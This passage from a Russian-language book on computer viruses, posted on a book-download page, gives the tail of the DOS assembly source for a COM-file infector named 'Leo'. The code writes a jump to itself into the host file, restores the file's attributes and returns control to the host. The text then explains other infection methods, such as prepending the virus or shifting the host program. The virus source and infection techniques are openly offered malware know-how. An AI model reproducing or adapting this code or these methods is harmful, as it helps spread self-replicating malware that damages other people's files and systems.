Скачать книгу

cx,offset VirEnd–offset la

      mov dx,bp

      sub dx,offset myself−offset la

      int 21h

      ;Записываем в начало файла переход на тело вируса

      Write_Jmp:

      ;Переходим в начало файла

      xor cx,cx

      xor dx,dx

      mov ax,4200h

      int 21h

      ;Записываем первые три байта файла (переход на тело вируса)

      mov ah,40h

      mov cx,3

      mov dx,offset jmpvir–offset myself

      add dx,bp

      int 21h

      ;Закрываем файл

      Close:

      mov ah,3Eh

      int 21h

      ;Восстанавливаем оригинальные атрибуты файла

      mov ax,4301h

      mov dx,9Eh

      pop cx

      int 21h

      exit:

      ;Восстанавливаем первоначальные значения регистров и флагов

      pop es ds

      popa

      popf

      ;Передаем управление программе−носителю

      push 100h

      retn

      ;Байт для чтения сигнатуры

      bytik db (?)

      ;Зарезервировано для изменения трех байт вируса

      jmpvir db 0E9h

      jmp_cmd dw (?)

      ;Длина файла

      flen dw (?)

      ;Шаблон для поиска файлов

      fname db ”*.com”,0

      ;Область для хранения команды перехода

      bytes_3 db 90h, 90h, 90h

      ;Байт памяти для чтения первого байта файла

      ;с целью проверки (E9h)

      buf db (?)

      ;Название вируса

      virus_name db ”Leo”

      ;Сигнатура

      a db CheckByte

      VirEnd:

      code ends

      end start

      Способы внедрения COM-вирусов

      Рассмотренный вирус дописывался в конец файла, а в начало файла вписывал переход на себя. Существуют и другие способы внедрения вирусов.

      Рассмотрим два варианта внедрения COM-вируса в начало файла. Вариант первый. Вирус переписывает начало программы в конец файла, чтобы освободить место для себя. После этого тело вируса записывается в начало файла, а небольшая его часть, обеспечивающая перенос вытесненного фрагмента программы, на прежнее место – в конец. При восстановлении первоначального вида программы тело вируса будет затерто, поэтому код вируса, восстанавливающий программу, должен находиться в безопасном месте, отдельно от основного тела вируса. Этот способ внедрения изображен на рис. 1.3.

      Рис. 1.3

      При загрузке зараженного таким способом файла управление получит вирус (так как он находится в начале файла и будет загружен с адреса 0100h). После окончания работы вирус передает управление коду, переносящему вытесненную часть программы на прежнее место. После восстановления (в памяти, не в файле) первоначального вида программы, она запускается. Схема работы вируса изображена на рис. 1.4.

      Рис. 1.4

      Второй вариант отличается от первого тем, что вирус, освобождая для себя место, сдвигает все тело программы, а не переносит ее часть в конец файла. Этот способ внедрения изображен на рис. 1.5.

      Рис. 1.5

      После запуска зараженной программы, как и в предыдущем случае, управление получает вирус. Дальнейшая работа вируса отличается только тем, что часть вируса, восстанавливающая первоначальный вид программы, переносит к адресу 0100h все тело программы, а не только вытесненную часть. Схема работы вируса, заражающего файл таким образом, приведена на рис. 1.6.

      Рис. 1.6

      Существуют разновидности вирусов, не дописывающие часть своего

Скачать книгу